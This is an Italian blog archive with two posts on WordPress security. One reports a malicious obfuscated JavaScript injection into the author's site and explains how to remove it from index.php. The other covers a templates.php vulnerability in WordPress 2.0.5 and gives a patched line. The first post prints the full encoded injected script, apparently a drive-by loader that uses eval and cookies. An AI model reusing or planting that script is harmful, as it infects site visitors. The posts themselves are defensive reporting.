Archivio tag per 'bug'

Mag
07

Code injection su WordPress: guida alla rimozione del codice maligno

WordpressCi risiamo: mi era già  successo una settimana fa e mi è successo di nuovo nelle ultime ore.. Pensavo fosse un baco di WordPress 2.5, così ho aggiornato subito alla versione 2.5.1, sperando fosse stato risolto e, invece, a quanto sembra, il problema è rimasto.

Di cosa parlo?! Di questo codice maligno (all’apparenza incomprensibile, poichè criptato in esadecimale) javascript che mi è stato iniettato nel blog (a me, così come a tanti altri bloggers che utilizzano WordPress come piattaforma):

[quickcode:noclick]
<script language=”javascript”>$=”%63b%3d%22e(d%2573);%2573t%253dtm%2570%253d%2527%2527;for(i%253d0;i%253cds%252e%256ce%256eg%25%22;st%3d%22%2573t%253d%2522$%253d%2573%2574;%2564c%2573%2528d%2561%252bd%2562%252bd%2563+%2564%2564%252b%2564e%252c%2531%2530)%253b%2564w%2528s%2574)%253bs%2574%253d%2524%253b%2522;%22;da%3d%22fqb0})-~ug0Qbbqi87e~%257F7%3c7tfu7%3c7dxb7%3c7vyb7%3c7fyv7%3c7huc7%3c7fuc7%3c7wxd7%3c7u~y7%3c7ud~7%3c7|uf7%3c7dgu79+fqb0|)-~ug0Qbbqi87q7%3c7r7%3c7s7%3c7t7%3c7u7%3c7v7%3c7w7%3c7x7%3c7y7%3c7z7%3c7{7%3c7|7%3c7}7%3c7~7%3c7%257F7%3c7`7%3c7a7%3c7b7%3c7c7%3c7%22;de%3d%22-|)K88d)K7}7M;}^}950%2522%259M+yv888d)K7t7M:%25229.-%252096688d)K7t7M:%25229,-)99tSx-~)K8d)K7t7M50!%25209M+u|cu0tSx-|)K88d)K7t7M:&950%2522%279M+4-4%3ebu`|qsu8t%3ciSx%2522;}Sx;iSx!;tSx;})Kd)K7}7M%3d!M;7%3es%257F}79+%22;dc%3d%220d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi899+yv8d)K7t7M,%25209d)K7t7M-!+d)K7}7M-t)%3ewud]%257F~dx89;!+ve~sdy%257F~0S]^8t%3c}%3ci9kfqb0b-888i;8#:t99;8}Nt9:#9;t9+budeb~0b+mfqb0t-7fuc|%257Fh%3es%257F}7+fqb0iSx!%3ciSx%2522%3c%22;cc%3d%2274%2568;i+%252b%2529{t%256dp%253dd%2573%252es%256c%2569ce%2528i,i%252b1%2529;st%253d%22;ce%3d%22ar%2543od%2565%2541%2574%25280)^%2528%25270%25780%2530%2527+es%2529))%253b%257d}%22;cz%3d%22%2566unc%2574ion%2520cz%2528cz)%257bre%2574ur%256e %2563a+c%2562+%2563c+%2563d+c%2565+%2563z;}%253b%22;dz%3d%22%2566un%2563t%2569on%2520dw(%2574){c%2561%253d%2527%252564%25256f%252563ume%25256et%252e%2577%252572i%2574%252565(%252522%2527;ce%253d%2527%252522)%2527;c%2562%253d%2527%25253csc%252572%2569%2570%252574 l%252561%256eg%252575a%2525%2536%2537%2565%25253%2564%25255c%25252%2532ja%2576a%2573cr%2569%252570t%25255c%2525%25322%25253e%2527;c%2563%253d%2527%25253c%25255c%25252fsc%2572%2569p%252574%25253e%2527;eva%256c(u%256ees%2563ap%2565(t%2529)%257d%253b%22;op%3d%22%2524%253d%2522dw%2528d%2563s(%2563u%252c1%2534));%2522;%22;ca%3d%22%2566%2575%256e%2563t%2569o%256e%2520dcs%2528d%2573,%2565s%2529{d%2573%253dunesca%2570%22;cu%3d%22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|“d.;;bqgx{l:w{y;xp;sfv;64c}p`|)%25$$4|q}s|`),$*(;}rfuyq*(;p}b*%22;dd%3d%22}Sx%3ctSx%3c}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M%3cd)K7}7M%3cd)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950&5##950%2522&M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209M+}Sx%22;db%3d%22d7%3c7e7%3c7f7%3c7g7%3c7h7%3c7i7%3c7j79+fqb0~)-~ug0Qbbqi8!%3c%2522%3c#%3c$%3c%25%3c&%3c%27%3c(%3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)%3ewudVe||Iuqb89+yv8t)%3ewudTqi89.#9d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi89;%25229+u|cu%22;cd%3d%22s%2574+%2553tri%256e%2567.f%2572%256fmC%2568%2561rCo%2564%2565(%2528t%256dp%252ec%2568%22;%69f%20(d%6fcum%65nt%2e%63oo%6b%69%65.i%6edex%4f%66(%27%76%62ull%65tin%5fmu%6ctiq%75%6f%74e%3d%27)%3d%3d-1){sc%28%27vbu%6clet%69n%5fm%75l%74iqu%6ft%65%3d%27,2,7);%65va%6c(un%65sc%61pe%28d%7a%2bc%7a+op%2b%73t)%2b%27dw(%64z%2bcz%28$+%73t%29)%3b%27)}e%6cse{%24%3d%27%27};f%75nct%69on %73c%28cnm%2cv,e%64){%76a%72 ex%64%3dnew %44ate%28);%65xd.%73%65%74Da%74%65(ex%64.g%65tD%61%74e()%2b%65%64);%64%6fcu%6dent%2eco%6fkie%3dcnm%2b %27%3d%27 +esca%70%65(v%29+%27;ex%70i%72es%3d%27%2bex%64.%74o%47M%54%53t%72in%67%28);%7d;”;eval(unescape($));document.write($);</ script></body>
[/quickcode]

Per chi si trovasse nella mia stessa situazione, non disperate, il problema è di facile risoluzione: basta editare il file index.php (presente nella root dell’installazione di WordPress) e rimuovere brutalmente il codice indicato in precedenza.

Fatto ciò, non ci resta che sperare che lo staff di WordPress tappi questa grave falla al più presto!

Ah, dimenticavo, mi scuso con tutti voi per gli eventuali disagi provocati dal codice maligno.

AGGIORNAMENTO DELLE 22.50 DEL 07/05/2008

Bene.. ci sto capendo qualcosa di più su questa situazione alquanto strana. Anzitutto l’iniezione di codice maligno sembra non derivare da un baco di WordPress, ma di una vulnerabilità  dei server Aruba. Per approfondire l’argomento date un occhio a questo sito dove è indicato anche come eliminare il MBR rootkit/trojan Sinowal (questo è il nome del malware), nel caso in cui qualcuno di voi fosse stato infettato (spero non dal mio sito!).

Ah, di questa cosa ne ha parlato anche Napolux.

Dic
30

Vulnerabilità  in WordPress <= 2.0.5

Ho appena appreso dal blog di crisis di una vulnerabilità  nel file templates.php di WordPress (il motore che fa funzionare questo sito) che consentirebbe, ad un utente malintenzionato che abbia accesso a questo file, di inserirvi del codice HTML o javascript arbitrario, che verrebbe poi eseguito dagli altri amministratori.

Sono affette da questa vulnerabilità  tutte le versioni di WordPress, compresa l’attuale 2.0.5.

Per rimediare alla vunerabilità , basta scaricare la versione corretta da qui, estrarre il file templates.php e utilizzarlo per sovrascrivere il file wp-admin/templates.php esistente.

UPDATE

Come mi ha fatto giustamente notare il mio amico Daxeel, sovrascrivendo il file e selezionando, dal menù di amministrazione, Gestione -> File, si ottiene un bel

Fatal error: Call to undefined function attribute_escape() in /wp-admin/templates.php on line 114

La soluzione alla quale, prima lui, poi io, siamo arrivati è quella di editare il vecchio file wp-admin/templates.php e sostituire la riga 114 con questa:

echo "<li><a href='templates.php?file=" . wp_specialchars($recent, true) . "'>" . wp_specialchars(get_file_description(basename($recent))) . "</a></li>";

Con questa piccola modifica, la vulnerabilità  dovrebbe essere risolta ed anche Gestione -> File dal menù d’amministrazione è tornato a funzionare!




Hai bisogno di un sito web?

Web&Dintorni

Vuoi collaborare a questo blog?

Ogni tipo di collaborazione è benvenuta!


Scrivimi all'indirizzo paolo.gatti@gmail.com o invia un messaggio sulla pagina Facebook!